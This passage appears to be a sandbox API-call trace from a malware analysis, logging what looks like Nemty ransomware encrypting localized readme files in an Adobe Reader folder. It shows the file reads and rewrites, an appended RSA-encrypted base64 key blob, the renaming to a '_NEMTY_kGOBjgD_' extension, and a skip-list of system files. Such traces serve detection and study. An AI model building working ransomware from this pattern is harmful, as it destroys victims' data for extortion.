Size=0x170) returned 0x6348ed8 [0169.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.947] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16955) returned 1 [0169.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4230) returned 0x6351c48 [0169.947] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.947] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4230, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4230, lpOverlapped=0x0) returned 1 [0169.950] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.950] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4230, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4230, lpOverlapped=0x0) returned 1 [0169.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.991] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16955, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x423b [0169.991] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f941e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f941e0*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0169.991] CloseHandle (hObject=0x1e8) returned 1 [0169.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0169.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0169.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm._nemty_kgobjgd_")) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.994] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="...") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="windows") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="$RECYCLE.BIN") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="rsa") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="NTDETECT.COM") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="ntldr") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="MSDOS.SYS") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="IO.SYS") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="boot.ini") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="boot.ini") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="AUTOEXEC.BAT") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="ntuser.dat") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="desktop.ini") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="CONFIG.SYS") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="RECYCLER") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="BOOTSECT.BAK") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="bootmgr") returned 1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="programdata") returned -1 [0169.994] lstrcmpiW (lpString1="LeesMij.htm", lpString2="appdata") returned 1 [0169.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeesMij.htm", lpUsedDefaultChar=0x0) returned 11 [0169.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeesMij.htm", lpUsedDefaultChar=0x0) returned 11 [0169.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeesMij.htm", lpUsedDefaultChar=0x0) returned 11 [0169.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeesMij.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeesMij.htm", lpUsedDefaultChar=0x0) returned 11 [0169.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0169.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0169.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0169.995] Sleep (dwMilliseconds=0x5) [0170.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18fa8d70, dwHighDateTime=0x1d561e8)) [0170.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18fa8d70, dwHighDateTime=0x1d561e8)) [0170.006] GetLastError () returned 0x0 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.007] GetLastError () returned 0x0 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.007] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.007] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.007] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="xbr9+ls5/6Mz41gf3OlfQiM+iP7tYl1xDUW0pqJklmw8OWsL47+6FZH50fEny0KI\r\nXwezQ1LQBsfK5qBNtqvvZg/dI21dXPxW83RXhwfVAC+PiviRIvCATAiSgWPVBIL/\r\nvUpFhjOjBLJSdgzVN9aYklt+ytJI83MHwqRKV4I4raiOblEbJllQoYiBs0vLRGiu\r\ntL6wacrg43cLZOD6fC6E9+hq/vQunHn+UG61fVafmoIyZ8sxGwonqipHrFwedmyA\r\nbcoEfW+CrnqF8arOjMDFJ8rmUDaE1bR6+6nuvcXfIW/co9zLTCXKWsqUSrBjw/Zj\r\nX+PeFIxDvyO6Bcku1Flmrg==\r\n", pcchString=0x653ef9c) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.008] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16867) returned 1 [0170.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x41e0) returned 0x6351c48 [0170.008] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.008] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x41e0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x41e0, lpOverlapped=0x0) returned 1 [0170.011] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.011] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x41e0, lpOverlapped=0x0) returned 1 [0170.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.011] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16867, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41e3 [0170.011] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.011] CloseHandle (hObject=0x1e8) returned 1 [0170.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.012] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm._nemty_kgobjgd_")) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.013] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="...") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="windows") returned -1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="rsa") returned -1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="NTDETECT.COM") returned -1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="ntldr") returned -1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="MSDOS.SYS") returned -1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="IO.SYS") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="boot.ini") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="boot.ini") returned 1 [0170.013] lstrcmpiW (lpString1="Leggimi.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="ntuser.dat") returned -1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="desktop.ini") returned 1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="CONFIG.SYS") returned 1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="RECYCLER") returned -1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="bootmgr") returned 1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="programdata") returned -1 [0170.014] lstrcmpiW (lpString1="Leggimi.htm", lpString2="appdata") returned 1 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leggimi.htm", lpUsedDefaultChar=0x0) returned 11 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leggimi.htm", lpUsedDefaultChar=0x0) returned 11 [0170.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leggimi.htm", lpUsedDefaultChar=0x0) returned 11 [0170.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leggimi.htm", lpUsedDefaultChar=0x0) returned 11 [0170.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.014] Sleep (dwMilliseconds=0x5) [0170.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18fceed0, dwHighDateTime=0x1d561e8)) [0170.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18fceed0, dwHighDateTime=0x1d561e8)) [0170.022] GetLastError () returned 0x0 [0170.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.022] GetLastError () returned 0x0 [0170.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.023] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.023] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="qV5qLhg3Cw9ettvFWca1a59JGayK3jazbIlk1Z3J7i8LosGkaPYqcRmfBsPJtNFA\r\nAcMHPDOelqPAflTlHvXwlGcXCmFtgwOD0uNZUiHohY0tPmaCqsF+3NWRoTcjl8to\r\n1P6HnrD1dRTRIWaJt9b8/vIl0Fy2dQb5S6luslQn/4BjndUNCBi5BY+0VDQ1VbjB\r\nCIsiaZbkwOgcAwM+grdu8I2a5pSwcm0U4eSbmnn2EKEhbA/18rn2QLiqxZ0+sXWC\r\nWoFDgsyF3IeUlgg++Z7OjZk5rS7iQXFVAVCU4tejOv1puFi6Ns92Hdqg6+5gzFsp\r\n3J4TAhntQNL+znegqgsaOg==\r\n", pcchString=0x653ef9c) returned 1 